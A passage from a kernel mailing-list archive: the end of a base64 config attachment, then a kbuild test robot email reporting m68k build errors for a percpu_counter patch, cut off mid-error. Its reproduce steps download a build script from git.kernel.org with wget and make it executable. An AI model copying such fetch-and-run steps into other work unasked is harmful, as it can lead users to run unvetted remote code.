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 dbdd6xsS7m5lEBUKva//B2VF8BXCigAA --17pEHd4RhPHOinZp-- From fengguang.wu@intel.com Fri Oct 2 13:13:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2BAE67F56 for ; Fri, 2 Oct 2015 13:13:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 26CA48F8037 for ; Fri, 2 Oct 2015 11:13:31 -0700 (PDT) X-ASG-Debug-ID: 1443809606-04cbb033b11d68d0001-NocioJ Received: from mga14.intel.com ([192.55.52.115]) by cuda.sgi.com with ESMTP id 0lzUFe65eLxO5VGw for ; Fri, 02 Oct 2015 11:13:27 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.115 Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by fmsmga103.fm.intel.com with ESMTP; 02 Oct 2015 11:13:25 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,624,1437462000"; d="gz'50?scan'50,208,50";a="818102701" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by fmsmga002.fm.intel.com with ESMTP; 02 Oct 2015 11:13:23 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1Zi4pU-000JNN-4S; Sat, 03 Oct 2015 02:13:12 +0800 Date: Sat, 3 Oct 2015 02:12:38 +0800 From: kbuild test robot To: Waiman Long Cc: kbuild-all@01.org, Dave Chinner , Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch , Waiman Long Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <201510030218.U4XK1emF%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="mP3DRpeJDSE+ciuQ" Content-Disposition: inline In-Reply-To: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: UNKNOWN[192.55.52.115] X-Barracuda-Start-Time: 1443809606 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23123 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS --mP3DRpeJDSE+ciuQ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Waiman, [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] config: m68k-sun3_defconfig (attached as .config) reproduce: wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross chmod +x ~/bin/make.cross # save the attached .config to linux build tree make.cross ARCH=m68k All error/warnings (new ones prefixed by >>): { ^ include/linux/jump_label.h:201:42: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void jump_label_lock(void) {} ^ include/linux/jump_label.h:202:44: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void jump_label_unlock(void) {} ^ include/linux/jump_label.h:205:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/jump_label.h:218:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/jump_label.h:223:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/jump_label.h:233:1: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token { ^ include/linux/jump_label.h:251:1: warning: empty declaration struct static_key_true { ^ include/linux/jump_label.h:255:1: warning: empty declaration struct static_key_false { ^ In file included from include/linux/vtime.h:4:0, from include/linux/hardirq.h:7, from include/linux/interrupt.h:12, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: include/linux/context_tracking_state.h:7:1: warning: empty declaration struct context_tracking { ^ include/linux/context_tracking_state.h:43:51: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline bool context_tracking_in_user(void) { return false; } ^ include/linux/context_tracking_state.h:44:50: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline bool context_tracking_active(void) { return false; } ^ include/linux/context_tracking_state.h:45:54: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline bool context_tracking_is_enabled(void) { return false; } ^ include/linux/context_tracking_state.h:46:58: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline bool context_tracking_cpu_is_enabled(void) { return false; } ^ In file included from include/linux/hardirq.h:7:0, from include/linux/interrupt.h:12, from include/linux/kernel_stat.h:8, from arch/m68k/kernel/asm-offsets.c:15: include/linux/vtime.h:10:1: warning: empty declaration struct task_struct; ^ include/linux/vtime.h:32:51: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline bool vtime_accounting_enabled(void) { return false; } ^ include/linux/vtime.h:69:64: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_task_switch(struct task_struct *prev) { } ^ include/linux/vtime.h:70:66: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_account_system(struct task_struct *tsk) { } ^ include/linux/vtime.h:71:64: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_account_user(struct task_struct *tsk) { } ^ include/linux/vtime.h:72:69: error: expected '=', ',', ';', 'asm' or '__attribute__' before '{' token static inline void vtime_account_irq_enter(struct task_struct *tsk) { } ^ include/linux/vtime.h:96:1: error: expected '=', ',', 